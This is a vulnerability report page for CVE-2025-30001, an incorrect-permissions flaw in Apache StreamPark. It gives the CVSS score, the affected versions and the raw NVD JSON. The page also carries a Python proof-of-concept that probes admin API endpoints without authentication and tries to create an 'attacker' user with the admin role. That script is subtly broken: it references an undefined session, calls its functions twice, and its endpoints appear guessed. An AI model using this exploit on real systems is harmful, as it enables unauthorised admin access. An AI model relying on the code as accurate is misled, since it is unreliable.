Security Vulnerability Report
中文
CVE-2025-30001 CVSS 7.3 HIGH

CVE-2025-30001

Published: 2025-10-10 10:15:34
Last Modified: 2025-11-04 22:16:09

Description

Incorrect Execution-Assigned Permissions vulnerability in Apache StreamPark. This issue affects Apache StreamPark: from 2.1.4 before 2.1.6. Users are recommended to upgrade to version 2.1.6, which fixes the issue.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:* - VULNERABLE
Apache StreamPark >= 2.1.4, < 2.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-30001 - Apache StreamPark Incorrect Execution-Assigned Permissions PoC # This PoC demonstrates the concept of exploiting incorrect permission assignment # in Apache StreamPark versions 2.1.4 through 2.1.5 import requests import json # Target configuration TARGET_URL = "http://target-streampark-host:10000" # Default StreamPark port # Step 1: Attempt to access restricted API endpoint without authentication # Due to incorrect permission assignment, this may succeed def exploit_permission_bypass(): """ Exploit incorrect execution-assigned permissions vulnerability. The vulnerability allows unauthorized access to certain API endpoints that should require proper authentication and authorization. """ session = requests.Session() # Attempt to access admin-level endpoints without credentials endpoints = [ "/api/v2/flink/sql", # SQL execution endpoint "/api/v2/cluster", # Cluster management "/api/v2/user", # User management "/api/v2/role", # Role management "/api/v2/team", # Team management "/api/v2/project", # Project management "/api/v2/job", # Job management ] for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" try: # Send GET request without authentication response = session.get(url, timeout=10) if response.status_code == 200: print(f"[VULNERABLE] {endpoint} - Status: {response.status_code}") print(f"Response: {response.text[:500]}") else: print(f"[PROTECTED] {endpoint} - Status: {response.status_code}") except Exception as e: print(f"[ERROR] {endpoint} - {str(e)}") # Step 2: Attempt to perform privileged operations def attempt_privilege_escalation(): """ Attempt to perform operations that require elevated privileges. """ # Try to create a new user or modify existing permissions payload = { "username": "attacker", "password": "P@ssw0rd123", "role": "admin", # Attempting to assign admin role "status": 1 } headers = {"Content-Type": "application/json"} url = f"{TARGET_URL}/api/v2/user" try: response = session.post(url, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: print(f"[EXPLOIT SUCCESS] User creation with admin role: {response.text}") else: print(f"[EXPLOIT FAILED] Status: {response.status_code}") except Exception as e: print(f"[ERROR] {str(e)}") exploit_permission_bypass() attempt_privilege_escalation() if __name__ == "__main__": print("CVE-2025-30001 PoC - Apache StreamPark Permission Bypass") print("=" * 60) exploit_permission_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-30001", "sourceIdentifier": "[email protected]", "published": "2025-10-10T10:15:33.960", "lastModified": "2025-11-04T22:16:09.290", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Execution-Assigned Permissions vulnerability in Apache StreamPark.\n\nThis issue affects Apache StreamPark: from 2.1.4 before 2.1.6.\n\nUsers are recommended to upgrade to version 2.1.6, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-279"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.4", "versionEndExcluding": "2.1.6", "matchCriteriaId": "E57C4042-F0B2-4C1B-8C3D-F627FF656819"}]}]}], "references": [{"url": "https://lists.apache.org/thread/xfmsvhkcnr1831n0w5ovy3p44lsmfb7m", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/09/04/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}